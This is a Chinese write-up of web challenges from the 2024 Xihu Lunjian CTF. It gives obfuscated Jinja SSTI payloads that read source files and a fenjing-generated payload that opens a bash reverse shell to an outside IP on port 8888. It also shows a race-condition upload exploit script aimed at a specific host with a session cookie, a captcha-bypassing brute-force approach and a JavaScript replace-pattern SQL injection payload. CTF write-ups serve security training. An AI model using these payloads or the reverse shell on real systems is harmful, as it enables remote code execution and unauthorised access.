2024西湖论剑全web-WriteUp

2024西湖论剑-web

Web

Rank-l

发现{{7*7}}用户名存在ssti。

用这个网上找的魔改的payload读取源码:

{% set po=dict(po=1,p=2)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set re=dict(reque=1,st=1)|join%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chr=x.chr%}
{% set f=(dict(ap=a,p=a)|join)~chr(46)~(dict(p=b,y=b)|join)%}
{% print(x.open(f).read())%}

app.py:

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.9.0
Date: Sat, 18 Jan 2025 02:49:32 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 2573

<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>login failed</title>
  </head>
  <body>
    <script>
      alert("          from flask import Flask, request, render_template, render_template_string, redirect, url_for, abort
      from urllib.parse import unquote

      app = Flask(__name__)

      phone = &#39;&#39;

      def is_safe_input(user_input):
          # unsafe_keywords = [&#39;eval&#39;, &#39;exec&#39;, &#39;os&#39;, &#39;system&#39;, &#39;import&#39;, &#39;__import__&#39;]
          unsafe_keywords = [&#39;flag&#39;,&#39;?&#39;,&#39;*&#39;,&#39;-&#39;,&#39;less&#39;,&#39;nl&#39;,&#39;tac&#39;,&#39;more&#39;,&#39;tail&#39;,&#39;od&#39;,&#39;grep&#39;,&#39;awd&#39;,&#39;sed&#39;,&#39;64&#39;,&#39;/&#39;,&#39;%2f&#39;,&#39;%2F&#39;]
          if any(keyword in user_input for keyword in unsafe_keywords):
          # if user_input in unsafe_keywords:
              return True
          return False

      @app.route(&#34;/&#34;)
      def index():
          return render_template(&#34;index.html&#34;)

      @app.route(&#34;/login&#34;, methods=[&#34;POST&#34;])
      def login():
          global phone
          phone = request.form.get(&#34;phone_number&#34;)
          return render_template(&#34;login.html&#34;)

      @app.route(&#34;/cpass&#34;, methods=[&#34;POST&#34;])
      def check():
          global phone
          password = request.form.get(&#34;password&#34;)

          if is_safe_input(phone):
              return redirect(url_for(&#39;index&#39;))

          if phone != &#34;1686682318&#34; and password != &#34;Happy_news_admin&#34;:
              return render_template_string(&#39;&lt;!DOCTYPE html&gt;\
              &lt;html lang=&#34;en&#34;&gt;\
              &lt;head&gt;\
                  &lt;meta charset=&#34;UTF-8&#34;&gt;\
                  &lt;title&gt;login failed&lt;/title&gt;\
              &lt;/head&gt;\
              &lt;body&gt;\
                  &lt;script&gt;alert(&#34;{}The number does not exist or the password is incorrect!&#34;) &lt;/script&gt;\
                  &lt;script&gt;window.location.href = &#34;/&#34;;&lt;/script&gt;\
              &lt;/body&gt;\
              &lt;/html&gt;&#39;.format(phone))
          else:
              return redirect(url_for(&#39;index&#39;))

      if __name__ == &#39;__main__&#39;:
          app.run(host=&#34;0.0.0.0&#34;, port=int(&#34;5005&#34;), debug=True)
      The number does not exist or the password is incorrect!")
    </script>
    <script>
      window.location.href = '/';
    </script>
  </body>
</html>

用AI优化一下格式:

def evil_waf(input: str):
    evil_word = ['eval', 'exec', 'os', 'system', 'import', '__import__','flag', '?', '*', '-', 'less', 'nl', 'tac', 'more', 'tail', 'od', 'grep', 'awd', 'sed', '64', '/', '%2f', '%2F']
    for word in evil_word:
        if word in input:
            return False
    return True

然后用fenjing生产payload:

from fenjing import exec_cmd_payload

def evil_waf(input: str):
    evil_word = ['eval', 'exec', 'os', 'system', 'import', '__import__','flag', '?', '*', '-', 'less', 'nl', 'tac', 'more', 'tail', 'od', 'grep', 'awd', 'sed', '64', '/', '%2f', '%2F']
    for word in evil_word:
        if word in input:
            return False
    return True

payload, _ = exec_cmd_payload(evil_waf, "bash -c 'bash -i >& /dev/tcp/113.45.22.245/8888 0>&1'")

print(payload)

# {%set oz='OS'.lower()%}{%set ba='%c'.__mul__(53)%(98,97,115,104,32,45,99,32,39,98,97,115,104,32,45,105,32,62,38,32,47,100,101,118,47,116,99,112,47,49,49,51,46,52,53,46,50,50,46,50,52,53,47,56,56,56,56,32,48,62,38,49,39)%}{{g.pop.__globals__.__builtins__['__i''mport__'](oz).popen(ba).read()}}

Rank-U

这题首先开局一个登录框,然后弱密码无法进入,我们来进行爆破,用bp的插件captcha-killer来绕过验证码登录

最后爆破出密码是: year2000

然后登录进去,发现是一个文件上传的点,然后上传文件发现访问不了,但是又回显上传成功。我们猜测可能是文件被删除了,然后写一个脚本验证一下。发现确实存在.php文件。验证思路是利用文件夹/会列出当前目录所有文件,通过多进程发文件,然后一直请求,发现确实上传成功,php文件落地成功

然后就想到了条件竞争,写了如下脚本:

import requests
from concurrent.futures import ThreadPoolExecutor
from bs4 import BeautifulSoup
url = 'http://139.155.126.78:28446/admin/'

headers = {
    'Cookie': 'PHPSESSID=a9ksqg0haph9nh1jck876u53n2'
}

def get_file_paths(res):
    soup = BeautifulSoup(res.text, 'html.parser')
    for link in soup.find_all('a'):
        href = link.get('href')
        if href and href.endswith('.php'):
            return href

def get_lists():
    session = requests.Session()
    session.headers.update(headers)
    r = session.get(url + 'Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')

    # print(r.text)
    if '.php' in r.text:
        print('检测到.php文件,上传成功!')
        target_url = get_file_paths(r)
        url_exp = url + 'Uploads/1f14bba00da3b75118bc8dbf8625f7d0/' + target_url

        res = session.get(url_exp)
        if res.status_code == 200:
            print('hacked!')
        else:
            print('访问失败!')

if __name__ == '__main__':
    with ThreadPoolExecutor(max_workers=30) as executor:
        for i in range(10000):
            print(i)
            executor.submit(get_lists)

然后用yakit和bp同时发文件上传包,通过phpinfo()执行发现禁用了一系列函数

最后通过直接读文件,拿到flag

sqli or not

有附件

var express = require('express');
var router = express.Router();
module.exports = router;

router.get('/',(req,res,next)=>{
    if(req.query.info){
        if(req.url.match(/\,/ig)){
            res.end('hacker1!');
        }
        var info = JSON.parse(req.query.info);
        if(info.username&&info.password){
            var username = info.username;
            var password = info.password;
            if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){
                res.end('hacker2!');
            }
            var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
            sql = sql.replace("{username}",username);
            sql = sql.replace("{password}",password);
            connection.query(sql,function (err,rs) {
            if (err) {
                res.end('error1');
            }
            else {
                if(rs.length>0){
                res.sendFile('/ ');
                }else {
                res.end('username or password error');
                }
            }
            })
        }
        else{
            res.end("please input the data");
        }
       
}
    else{
        res.end("please input the data");
    }
})

第一个if绕过, 用url编码绕过%0C

然后第二个经过本地测试,根据官方文档可只$`匹配左侧字符串把select * from userinfo where username = 带出来了

var username = "harder"
var password = "harder$`/**/or/**/1--+"

var sql = "select * from userinfo where username = '{username}' and password = '{password}'"

sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);

console.log(sql)

最后得到payload:

/?info={"username":"harder$`/**/or/**/1--+"%2C"password":"harder"}

得到flag